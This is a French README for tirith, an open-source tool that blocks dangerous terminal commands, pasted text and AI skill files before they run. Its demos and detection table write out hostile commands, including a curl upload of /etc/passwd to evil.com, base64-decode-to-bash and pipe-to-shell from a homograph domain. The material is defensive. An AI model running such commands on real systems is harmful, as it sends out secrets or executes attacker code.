
Sécurité du terminal pour les développeurs et agents IA. Intercepte les URL homographes, les redirections vers le shell (pipe-to-shell), les injections ANSI, les charges utiles obfusquées, l'exfiltration de données et les compétences/configurations IA malveillantes avant leur exécution.
# tirith
**Votre navigateur attraperait ça. Votre terminal ne le fera pas.**
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/11454/e8bf601682b2f9f38e53011dbe66be548699859fd54c0751d7f4639bb49edf6d.png" alt="tirith, terminal security" width="100%" />
</p>
[](https://github.com/sheeki03/tirith/actions/workflows/ci.yml)
[](https://github.com/sheeki03/tirith/stargazers)
[](LICENSE-AGPL)
[Site web](https://tirith.sh) | [Docs](https://tirith.sh/docs) | [SKILL.md](https://github.com/sheeki03/tirith/blob/main/SKILL.md) | [Changelog](https://github.com/sheeki03/tirith/blob/main/CHANGELOG.md) | [Releases](https://github.com/sheeki03/tirith/releases)
<a href="https://vercel.com/open-source-program">
<img alt="Vercel OSS Program" src="https://vercel.com/oss/program-badge-2026.svg" />
</a>
<sub>Projet open-source indépendant, avec un hébergement soutenu par le Vercel Open Source Program (Spring 2026 Cohort).</sub>
---
Pouvez-vous repérer la différence ?```
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
```
Vous ne pouvez pas. Votre terminal non plus. Les deux caractères `і` sont cyrilliques (U+0456), pas latins `i`. La deuxième URL pointe vers le serveur d'un attaquant. Le script s'exécute avant que vous ne le remarquiez.
Les navigateurs ont résolu ce problème il y a des années. Les terminaux affichent encore des caractères Unicode, des séquences d'échappement ANSI et des caractères invisibles sans se poser de questions. Les agents IA exécutent des commandes shell et installent des paquets sans inspecter ce qu'ils contiennent.
**Tirith monte la garde.** Il intercepte les commandes, le contenu collé et les fichiers analysés pour détecter les URL homographes, les charges utiles obfusquées, l'exfiltration d'identifiants, les compétences/configurations IA malveillantes et les paquets/domaines/IP connus comme malveillants provenant d'une base de données signée de renseignement sur les menaces avant leur exécution.```bash
brew install tirith
```
Puis activez dans votre profil shell :```bash
# zsh
eval "$(tirith init --shell zsh)"
# bash
eval "$(tirith init --shell bash)"
# fish
tirith init --shell fish | source
```
> [!TIP]
> `eval "$(tirith init)"` détecte automatiquement votre shell actuel (il inspecte le processus parent et se rabat sur `$SHELL` si nécessaire). Le drapeau explicite `--shell` n'est requis que lorsque vous souhaitez remplacer la détection.
Voilà pour la couverture du shell interactif. Les commandes acceptées par ce shell sont
vérifiées tant que le hook est chargé et sain ; le comportement de blocage exact dépend
du shell et du mode. Exécutez `tirith doctor` après l'installation et les mises à niveau, et
lisez [enforcement by shell](#enforcement-by-shell) avant de traiter le hook comme
une frontière d'autorisation. Les commandes propres restent silencieuses et empruntent normalement le
chemin rapide.
Également disponible via [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages), et [plus](#install).
---
## Voyez-le en action
**Attaque homographe, bloquée avant exécution :**```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
```
La commande ne s'exécute jamais.
**Pipe-to-shell avec URL propre, averti, non bloqué :**```
$ curl -fsSL https://get.docker.com | sh
tirith: WARNING
[MEDIUM] pipe_to_interpreter, Download piped to interpreter
Consider downloading first and reviewing.
```
Avertissement affiché sur stderr. La commande s'exécute quand même.
**Chaîne de décodage-exécution Base64, bloquée :**```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
```
Il intercepte également les chaînes de décodage via les wrappers sudo/env et PowerShell `-EncodedCommand`.
**Exfiltration d'identifiants, bloquée :**```
$ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED
[HIGH] data_exfiltration, Data exfiltration via curl upload
curl command uploads sensitive data to a remote server
```
Couvre tous les flags d'upload curl/wget, les variables d'environnement (`$AWS_SECRET_ACCESS_KEY`) et la substitution de commandes.
**Fichier de skill malveillant, détecté lors du scan :**```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
```
Analyse les fichiers JS/Python à la recherche de charges utiles obfusquées, d'exécution dynamique de code et de modèles d'exfiltration de secrets.
**Commandes normales, invisibles :**```
$ git status
$ ls -la
$ docker compose up -d
```
Rien. Zéro sortie. Vous oubliez que tirith est en cours d'exécution.
---
## Ce qu'il détecte
**244 règles de détection réparties sur 35 catégories.**
| Catégorie | Ce qu'elle bloque |
|----------|--------------|
| **Attaques par homographes** | Homoglyphes cyrilliques/grecs dans les noms d'hôtes, domaines punycode, étiquettes à scripts mixtes, TLD trompeurs, domaines confondables, détection de confusables au niveau du texte (alphanumériques mathématiques, même mot à scripts mixtes) |
| **Injection terminal** | Séquences d'échappement ANSI, overrides bidi, caractères de largeur nulle, balises unicode, opérateurs mathématiques invisibles, sélecteurs de variation, remplisseurs Hangul |
| **Défense contre la stéganographie** | Encodage par espaces invisibles (12 variantes d'espaces Unicode), séparateur de voyelles mongol, caractères de remplissage Hangul, substitution alphanumérique mathématique, défenses contre la stéganographie textuelle de style st3gg |
| **Pipe-to-shell** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, ainsi que de nombreux chemins via wrappers, décodage et indirection |
| **Décodage-exécution Base64** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, chaînes de décodage via des wrappers sudo/env |
| **Exfiltration de données** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, envois de variables d'environnement (`$AWS_SECRET_ACCESS_KEY`), exfiltration par substitution de commande |
| **Analyse de fichiers de code** | Charges utiles obfusquées (`eval(atob(...))`), exécution dynamique de code (`exec(b64decode(...))`), exfiltration de secrets via `fetch`/`requests.post` dans des fichiers JS/Python |
| **Détection d'identifiants** | Clés AWS, PAT GitHub, jetons Stripe/Slack/SendGrid/Anthropic/GCP/npm, blocs de clés privées, plus détection générique de secrets basée sur l'entropie |
| **Comportement post-compromission** | Extraction de mémoire de processus (`/proc/*/mem`), élévation de privilèges distante Docker, balayages de fichiers d'identifiants, calibré sur les outils post-compromission TeamPCP et UNC1069 |
| **Sécurité des commandes** | Écrasements de dotfiles, extraction d'archives vers des chemins sensibles, accès aux points de terminaison de métadonnées cloud, accès au réseau privé |
| **Transport non sécurisé** | HTTP en clair redirigé vers un shell, `curl -k`, vérification TLS désactivée, URLs raccourcies masquant les destinations |
| **Environnement** | Détournement de proxy, exports de variables d'environnement sensibles, injection de code via l'environnement, détournement d'interpréteur, injection shell via l'environnement |
| **Sécurité des fichiers de configuration** | Injection de configuration, indicateurs suspects, unicode non-ASCII/invisible dans les configurations, sécurité des serveurs MCP (non sécurisé/non fiable/dupliqué/permissif) |
| **Menaces de l'écosystème** | Typosquats de git clone, registres Docker non fiables, installations pip/npm par URL, points de terminaison RPC web3, vet-not-configured |
| **Sécurité des commandes d'installation** | Dépôts APT ajoutés depuis un téléchargement redirigé, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (vérifications de signature désactivées), `kubectl apply -f` contre des manifestes distants bruts/raccourcis, charts Helm depuis des dépôts non fiables, modules Terraform depuis des sources distantes non fiables, `brew install`/`tap` depuis des URLs arbitraires |
| **Analyse de chemins** | Chemins non-ASCII, homoglyphes dans les chemins, double encodage |
| **Contenu rendu** | Contenu CSS/couleur caché, attributs HTML cachés, analyse du contenu des commentaires (injection de prompt en Élevé, commandes destructrices en Moyen) |
| **Détection de cloaking** | Cloaking côté serveur (bot vs navigateur), contenu caché du presse-papiers, texte caché dans les PDF |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, exclusions Windows Defender (`Add-MpPreference -Exclusion*`), téléchargement-exécution en ligne `iex (iwr ...)` |
| **Défense contre la sortie terminal** | Écritures dans le presse-papiers OSC 52, faux prompts, manipulation des hyperliens OSC 8 et du titre / effacement d'écran, injection de prompt dans la sortie d'une commande ou d'un outil MCP (analysée à la fois brute et désobfusquée, de sorte que les évasions par caractères invisibles, confusables, espacés, leetspeak et base64 / hex courts sont également détectées), et exfiltration de données de sortie (URLs de balise ou directives « lire un secret puis l'envoyer ») |
| **Contexte opérationnel** | Commandes destructrices contre des contextes cloud / k8s étiquetés-prod et des hôtes SSH, `apply` Terraform / Pulumi / OpenTofu sans plan sauvegardé correspondant, escalade sudo risquée, `docker run` privilégié |
| **Poste de travail & persistance** | Fichiers d'identifiants aux permissions laxistes et jetons en clair (`~/.ssh`, `~/.aws`, `.npmrc`), points d'ancrage de persistance (shell rc, `authorized_keys`, crontab, LaunchAgents, git `core.hooksPath`), ordre de détournement du PATH, provenance des exécutables, alias risqués, et cycle de vie des variables d'environnement sensibles |
| **Rayon d'impact & corrélation** | Suppressions qui s'échappent du dépôt, suppressions massives, exécution de fichiers téléchargés depuis des sources risquées, et chaînes de session telles que écriture de secret puis réseau ou suppression puis `git push --force` |
| **Confiance, attestation & provenance** | Incohérence de carte de commande signée, touches de honeytoken canari, incohérence d'hôte source de collage, refus de politique d'origine d'appelant (agent), dérive de lockfile MCP, et dérive de configuration IA par rapport à un instantané connu comme sûr |
| **Garde de commandes Web3** | Écritures on-chain depuis des commandes Cast / Forge / Hardhat / Solana / Anchor (Élevé lorsque la même commande désactive aussi un contrôle de sécurité déclaré), matériel de clé privée, keypair ou mnémonique brut sur la ligne de commande, et un point de terminaison RPC ou signataire que la politique `web3_guard` de l'opérateur ne considère pas comme fiable. Grammaire et politique uniquement : aucun état de chaîne n'est lu, aucune transaction n'est simulée, et aucune adresse n'est évaluée |
| **Exfiltration de portefeuille** | Matériel de portefeuille examiné, keystore, portefeuille de navigateur et keypair Solana circulant vers un récepteur distant prouvé, y compris les étapes de préparation par archive, base64, hex, compresseur et chiffreur et la promotion d'opérandes `xargs` / `find -exec`. Une lecture source uniquement n'est délibérément pas un constat |
| **Empoisonnement d'artefacts CI** | Un workflow accessible depuis un fork qui téléverse un artefact de build, consommé par un workflow `workflow_run` privilégié lié à l'exécution déclenchante qui l'exécute, le source, mute le PATH, le publie ou le déploie ensuite |
---
## Ce contre quoi tirith ne protège PAS
Tirith analyse la **structure** des commandes, du texte collé et des fichiers avant
leur exécution. C'est une barrière de pré-exécution, pas une défense à l'exécution, et elle ne
couvre pas :
- **Le sandboxing général à l'exécution :** les hooks shell ordinaires et `tirith check` avertissent
ou bloquent ; ils n'isolent pas une commande après son lancement. Les chemins explicites
`capsule run --preset untrusted-project` et l'application de `pkg install`
ne fournissent un confinement fail-closed que sur les hôtes Linux x86_64 pris en charge.
- **La surveillance réseau post-exécution :** ce qu'un processus fait sur le réseau après
son lancement est hors périmètre.
- **La détection générale de malwares / charges utiles :** tirith n'est pas un antivirus et ne
détonne pas une charge utile. Il analyse la structure et peut faire correspondre des indicateurs exacts
et des hachages d'artefacts/fichiers issus de la base de menaces signée, mais une charge utile
inconnue n'est pas prouvée bénigne par l'absence de correspondance. (`tirith run` vérifie
la structure d'un script téléchargé ; ce n'est toujours pas de l'analyse dynamique de malwares.)
- **Un attaquant root/admin privilégié :** quiconque est déjà root ou admin peut contourner
tirith trivialement. Il se défend contre des entrées piégées, pas contre un attaquant qui possède déjà
la machine.
- **L'anti-débogage / anti-altération :** tirith ne résiste pas à l'ingénierie inverse
et ne protège pas son propre binaire contre un attaquant local.
- **L'analyse on-chain :** le garde Web3 lit la grammaire des commandes. Il ne lit pas
l'état de la chaîne, ne simule pas de transaction, ne résout pas l'ENS, n'évalue pas une adresse, n'audite pas un
contrat, et ne surveille pas une mempool.
- **Un pare-feu d'artefacts npm :** tirith analyse la grammaire des commandes npm et les faits
d'identité du registre, et peut demander au npm du projet son état de signature et
de provenance. Il ne télécharge, n'extrait, ne met en quarantaine, ni ne lie les
octets du tarball que npm installe. Le pare-feu d'artefacts contenu et épinglé par hachage est
uniquement pour Python.
- **La forensique ou la surveillance de navigateur :** `tirith browser audit` est un audit d'intégrité
explicite, ponctuel et en lecture seule des arborescences sources des extensions. Il ne lit jamais les
cookies, l'historique, les mots de passe enregistrés, le stockage, les bases de données de portefeuille ou `Local
State`, ne supprime ni ne met jamais rien en quarantaine, et n'a pas de démon.
- **Les builds reproductibles :** un reçu `attest` enregistre ce que deux arborescences contenaient
à un instant donné. Tirith n'exécute pas votre build et ne peut pas dire que la sortie provient
de la source. Un reçu de déploiement est une mesure ponctuelle, pas
une surveillance continue.
Voir [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md) pour le modèle de menace complet et
les non-objectifs explicites, et
[docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md) pour un
registre capacité par capacité de ce que tirith détecte, décide, applique,
confine et atteste.
---
## Limitations connues
- **Fragilité des hooks shell :** la protection dépend du maintien en place et actif d'un hook shell.
Les hooks peuvent se casser ou se dégrader silencieusement selon les shells, les versions de shell,
les frameworks de prompt et les outils d'historique. Exécutez `tirith doctor` pour vérifier l'état en direct
et surveiller toute dégradation en avertissement seul.
- **Stockage temporaire plein ou en lecture seule :** zsh et fish capturent l'entrée via un
fichier temporaire avant d'invoquer Tirith et échouent en mode fail-closed lorsque ce fichier ne peut pas être
créé. Un `TMPDIR` plein/en lecture seule peut donc refuser chaque commande, et
`TIRITH=0` ne peut pas récupérer car le binaire n'est jamais atteint. Suivez les
étapes de récupération dans [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md).
- **Fonctionnalités limitées à certaines plateformes :** le mode démon, `tirith run` et `tirith fetch`
sont des surfaces Unix. `tirith run --no-exec` reste un workflow d'inspection
là-bas, mais l'exécution de scripts distants en direct est réservée à Linux et refuse avant
téléchargement sur tout autre hôte. `tirith setup` est multiplateforme, tandis que chaque
intégration d'hôte a son propre contrat de plateforme (par exemple Cline a des wrappers POSIX
et Windows ; le hook bloquant d'OpenHands est réservé à Unix).
- **Portée de l'extraction des noms de paquets :** couvre les écosystèmes de langages (pip,
npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), pas les gestionnaires de paquets
de distribution (`apt`, `dnf`, `yum`, `pacman`).
- **Mises en garde sur les agents IA :** l'interception par hook shell ne protège que les commandes qui passent
par un shell interactif équipé d'un hook. Un agent qui lance un shell non interactif,
appelle `exec` directement, ou s'exécute sans le hook chargé n'est pas couvert
par cette couche. L'enregistrement MCP est coopératif sauf si les appels sont routés
via la passerelle. Un hook pré-outil pris en charge peut automatiquement retenir une
commande hôte, mais uniquement lorsque cet hôte l'a chargé et honoré ; plusieurs hôtes
échouent en mode ouvert lorsqu'un processus de hook rencontre une erreur. Vérifiez l'hôte effectif, pas seulement la
présence d'un fichier de configuration.
- **Comportement en cas d'échec du hook hôte :** Grok Build, Cline et OpenHands autorisent l'
outil lorsque leur processus de hook plante ou expire. L'adaptateur de Tirith refuse en cas de
ses propres erreurs par défaut, mais il ne peut pas faire honorer par un hôte un processus qui n'a
pas retourné. Relancez la configuration si un interpréteur épinglé se déplace et testez le véritable hôte
après chaque mise à niveau.
- **Prime Agent IPython est une extraction au niveau source :** le garde couvre les échappements shell/magics
et les formes courantes `os`, `subprocess` et `pty.spawn`, mais ce n'est
pas un sandbox d'exécution Python. Un wrapper défini dans une cellule antérieure,
la réflexion telle que `getattr`/`__import__`, ou un paquet tiers qui
lance un processus peut échapper à ce qu'un lexer source peut prouver.
- **DLP personnalisé et sortie machine :** de larges `dlp_custom_patterns` peuvent actuellement
réécrire des valeurs de chaînes appartenant au protocole dans des projections JSON/MCP récursivement expurgées,
y compris des identifiants générés ou des métadonnées de reçu. Évitez les
motifs qui peuvent correspondre à des valeurs structurelles lors de la consommation de sortie signée ou
stable pour la machine ; cela nécessite une expurgation tenant compte des champs avant la sortie.
- **Approbation d'installation sans surveillance :** `tirith install --yes` est accepté comme le
canal `require_approval` sans surveillance de la barrière de tâche du gestionnaire de paquets. C'est un
indicateur d'opérateur explicite, pas une preuve de confirmation humaine sur TTY. Utilisez une politique de tâche
bloquante là où l'exécution sans surveillance doit être impossible.
- **Liaison MCP interprétée :** la liaison exacte de serveur interprété hache
l'arborescence du dépôt sous des plafonds fixes au lieu de découvrir une véritable fermeture de
dépendances, de sorte que les grandes arborescences, les liens symboliques ou les fichiers spéciaux peuvent refuser le lancement. Elle
revalide avant le spawn mais n'exécute pas les entrées d'interpréteur à partir de descripteurs scellés
examinés ; la mutation concurrente par le même utilisateur reste une lacune de vérification-à-chargement.
- **Couverture de la barrière de tâche :** l'inférence d'effet de tâche modélise la grammaire shell
Web3 et rien d'autre, de sorte que presque chaque commande SHELL ordinaire est signalée
INCOMPLETE. `task_gate.mode: enforce` avec `action_incomplete_analysis: block`
refuse celles-ci aux cinq frontières qui soumettent une enveloppe shell, et ne change
rien aux quatre frontières de paquet et d'écriture de configuration, qui s'évaluent toujours
comme complètes. `warn` est la valeur par défaut. L'alternative,
`effects_denied_for_untrusted_sources`, refuse l'effet nommé à chaque appel
à chaque frontière possédée, y compris les commandes que vous avez tapées vous-même, car aucune
source à ces frontières n'est jamais traitée comme fiable.
- **Le confinement est Linux x86_64 :** `tirith capsule run --preset
untrusted-project` et l'application de `tirith pkg install` ne sont applicables que sur
Linux x86_64 avec un ABI Landlock utilisable. Tout autre hôte refuse avant
que quoi que ce soit ne soit copié ou lancé, sans repli dégradé. La liste d'autorisation de domaines
n'est offerte par aucun backend.
- **Lacune d'exfiltration par shell imbriqué :** une lecture sensible à l'intérieur d'un corps de shell imbriqué
dont le récepteur est à l'extérieur, comme `bash -c "cat <wallet>" | curl -d @- <url>`,
n'est pas corrélée aujourd'hui. La même chaîne entièrement à l'intérieur ou entièrement à l'extérieur du
corps `-c` est détectée.
- **Grades de preuve d'exécution :** un lancement Linux n'est confirmé qu'après que sa
transition `exec` arrêtée, la mise à jour d'état durable, la reprise autorisée et
la preuve du lanceur terminal sont toutes terminées. Un appel de passerelle n'est confirmé que par un
résultat corrélé exact. Les observations de shell et les appels de passerelle transmis qui
expirent ou sont annulés restent des preuves non résolues conservatrices, jamais une
exécution confirmée. Des reçus shell stricts sont disponibles pour bash, zsh et fish interactifs ;
PowerShell reste en préflight uniquement. Le comportement du lanceur natif Linux
doit être vérifié par une CI Linux ou un hôte Linux natif ; ni la couverture portable
source/unité ni un build macOS ne peuvent s'y substituer.
- **Lacunes de couverture Web3 :** `forge create` n'est pas encore modélisé sur les surfaces du moteur ;
plusieurs champs `web3_guard` déclarés sont analysés mais non appliqués ; et les liaisons Web3 de carte de commande
schéma-2 n'ont pas encore de chemin d'authoring CLI ou de consommation par le moteur en direct. Traitez-les comme des lacunes connues, pas comme une autorisation silencieuse.
---
## Renseignement sur les menaces
Tirith embarque une base de données de menaces locale signée pour la réputation des paquets, des noms d'hôtes et des IP. Lorsqu'un hook shell ou `tirith check` voit une installation de paquet ou une référence d'infrastructure suspecte, il fait correspondre cette entrée à la base de données avant l'exécution de la commande, au lieu de se fier uniquement à des heuristiques statiques.
**Base de données signée** (construite par CI, vérifiée au téléchargement et au chargement) :
- Paquets malveillants connus de [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) et [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)
- Infrastructure IP malveillante de [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch)
- Typosquats confirmés et références de paquets populaires de [ecosyste.ms](https://ecosyste.ms/)
- Catalogue [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) pour la corrélation d'avis à l'exécution
ThreatDB v2 ajoute des valeurs SHA-256 d'artefacts exactes, des hachages de fichiers installés,
des URLs malveillantes, l'appartenance à des campagnes et des balises de comportement. L'index signé,
le programme de mise à jour, le compilateur et le chargeur prennent en charge v1 et v2 pendant la transition
par étapes, rejettent la restauration de séquence, publient de manière transactionnelle et conservent une
base de données signée du dernier état connu comme bon lorsqu'une mise à jour est incomplète ou invalide. La
source DigitalSide est implémentée mais intentionnellement inactive jusqu'à ce que sa
fraîcheur et son contrat d'exploitation soient approuvés.
**Flux supplémentaires optionnels** (superposition locale à l'utilisateur) :
- [URLhaus](https://urlhaus.abuse.ch/) et [ThreatFox](https://threatfox.abuse.ch/) via une clé d'authentification abuse.ch
- Listes de blocage [PhishTank](https://phishtank.org/) (Cisco Talos) et [Phishing Army](https://phishing.army/)
- Liste des nœuds de sortie Tor de [Tor Project](https://www.torproject.org/)
**Enrichissement en direct optionnel** pendant `tirith check` et le mode démon :
- Recherches d'avis [OSV.dev](https://osv.dev/) (Google OSS)
- Signaux de santé des paquets [deps.dev](https://deps.dev/) (Google OSS) et données de mainteneur [ecosyste.ms](https://ecosyste.ms/)
- Réputation d'URL [Google Safe Browsing](https://safebrowsing.google.com/) avec votre propre clé API```bash
tirith threat-db update # download + verify the signed DB
tirith threat-db status # age, signature, version, entry counts
tirith threat-db health # install, signature, staleness, counts
tirith threat-db sources # list every feed the DB is built from
tirith threat-db explain react # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01 # count changes since a version/date
```
Par défaut, les hooks shell et `tirith check` déclenchent une vérification d'actualisation en arrière-plan peu coûteuse toutes les 24 heures. Le mode démon maintient le même chemin d'enrichissement actif en arrière-plan.
`threat-db explain` accepte un domaine, un nom de paquet (`name`, `ecosystem:name`, ou `name@version`), ou une adresse IPv4. Le binaire ne conserve aucun historique par entrée, donc `threat-db diff` rapporte les deltas de catégorie et de nombre par source entre les instantanés, et non les entrées exactes modifiées. Chaque commande `threat-db` accepte `--format json` ; `threatdb` est un alias.
### Notation du risque des paquets
`tirith package risk <ecosystem> <name>` note le risque lié à la chaîne d'approvisionnement / aux mainteneurs d'un paquet de la même manière que `tirith score` note une URL, une **somme déterministe et entièrement explicable de facteurs nommés**, sans modèle ni pondérations apprises. `tirith package explain <ecosystem> <name>` ajoute la dérivation facteur par facteur ; les deux acceptent `--format json`.```bash
tirith package risk npm react # 0/100, a known-popular package
tirith package risk npm reqeusts # high, one edit from a popular name
tirith package explain pypi flask # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react # also consult the registry API
```
**Hors ligne par défaut.** Sans aucun drapeau, chaque signal est local, sans appel réseau : (1) **nom vs. paquets populaires** : connu comme populaire, inconnu, ou une quasi-coïncidence à une édition près d'un nom populaire (la forme classique de typosquat/slopsquat), à partir de l'ensemble `popular` de la base de données locale des menaces ; (2) **typosquat malveillant connu** : une correspondance exacte dans l'index `typosquat` de la base de données des menaces ; (3) **scripts d'installation / de cycle de vie** et (4) **blobs binaires intégrés**, détectés uniquement lorsque le contenu du paquet est disponible localement (sous `node_modules` / `site-packages`, ou via `--path`). tirith **ne télécharge jamais** le paquet.
**`--online` ajoute la provenance du registre.** Il consulte le registre du paquet (npm, PyPI ou crates.io) pour six facteurs supplémentaires dans le *même* modèle de somme de facteurs : l'âge du paquet/de la version, un paquet établi sans propriétaires, un pic de version anormal, des téléchargements très faibles, un dépôt source manquant, et un statut retiré/déprécié. C'est le seul chemin sur lequel `package risk` lui-même atteint le réseau ; `tirith check` et le mode démon disposent d'un chemin d'enrichissement à l'exécution distinct, contrôlé par politique. `--offline` / `TIRITH_OFFLINE` forcent ce scoreur hors ligne quoi qu'il arrive. Les échecs reviennent au score hors ligne avec un honnête `api signals: unavailable`, et les réponses sont mises en cache avec un TTL afin que les exécutions répétées ne martèlent pas les registres.
Le score est indicatif et autonome : `package risk` n'est pas une règle de détection et ne modifie aucun verdict, code de sortie ou journal d'audit.
### Analyse d'écosystème et risque de dépendances
`tirith ecosystem scan [path]` est le compagnon au niveau du répertoire de `package risk`. Il parcourt un projet, découvre chaque manifeste de dépendances qu'il comprend, npm (`package.json`, `package-lock.json`), Python (`requirements*.txt`, `pyproject.toml`), Rust (`Cargo.toml`), Go (`go.mod`), Ruby (`Gemfile`), et évalue **chaque dépendance déclarée** avec le même moteur déterministe de facteurs `package_risk`.```bash
tirith ecosystem scan # scan the current project
tirith ecosystem scan ./my-project # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./ # full machine-readable report
```
**Il intègre la détection de slopsquat.** *Le slopsquatting* est l'enregistrement d'un nom plausible mais faux que les LLM ont tendance à halluciner comme dépendance. `ecosystem scan` ne le signale que lorsque **les trois** conditions suivantes sont réunies : le nom n'est pas connu comme réel ou populaire, il est **façonné comme une hallucination d'IA** (un préfixe de langage comme `python-` / `node-` suivi de jetons descriptifs, un empilement de termes génériques de remplissage comme `helper` / `utils` / `client`, ou un nom anormalement long), **et** il se situe près d'un nom populaire réel (un quasi-homonyme à une édition près, ou il intègre un nom populaire en tant que mot). Exiger les trois maintient un faible taux de faux positifs : un honnête `data-utils` sans ancrage populaire ne déclenche pas.
**Hors ligne par défaut, `--online` en opt-in.** Les signaux de nom et de typosquat proviennent de la base de données de menaces locale ; `--online` ajoute la provenance du registre, conditionnée et dégradée exactement comme `package risk --online`. Ce drapeau contrôle l'analyse de l'écosystème et ne modifie pas la politique indépendante d'enrichissement à l'exécution de `tirith check`. Les résultats passent par le modèle normal `Verdict` / `Finding` de tirith : explicables (`tirith explain --rule threat_suspicious_package`), journalisés pour audit, et respectant la liste d'autorisation de la politique (un paquet autorisé, par nom nu ou `ecosystem:name`, est supprimé). Les codes de sortie correspondent à `tirith scan` : `1` pour un résultat bloquant, `2` pour un avertissement, `0` lorsque tout est propre.
Cela aide à détecter les paquets malveillants connus, les typosquats confirmés, les noms de paquets slopsquattés, l'infrastructure de téléchargement malveillante, et les paquets disposant de données d'avis OSV / CISA KEV en direct.
### Inspection des artefacts Python et installations avec application des contraintes
Le risque lié au nom du paquet n'est qu'une couche. Tirith peut inspecter les octets Python exacts
---
[Read more](https://github.com/sheeki03/tirith)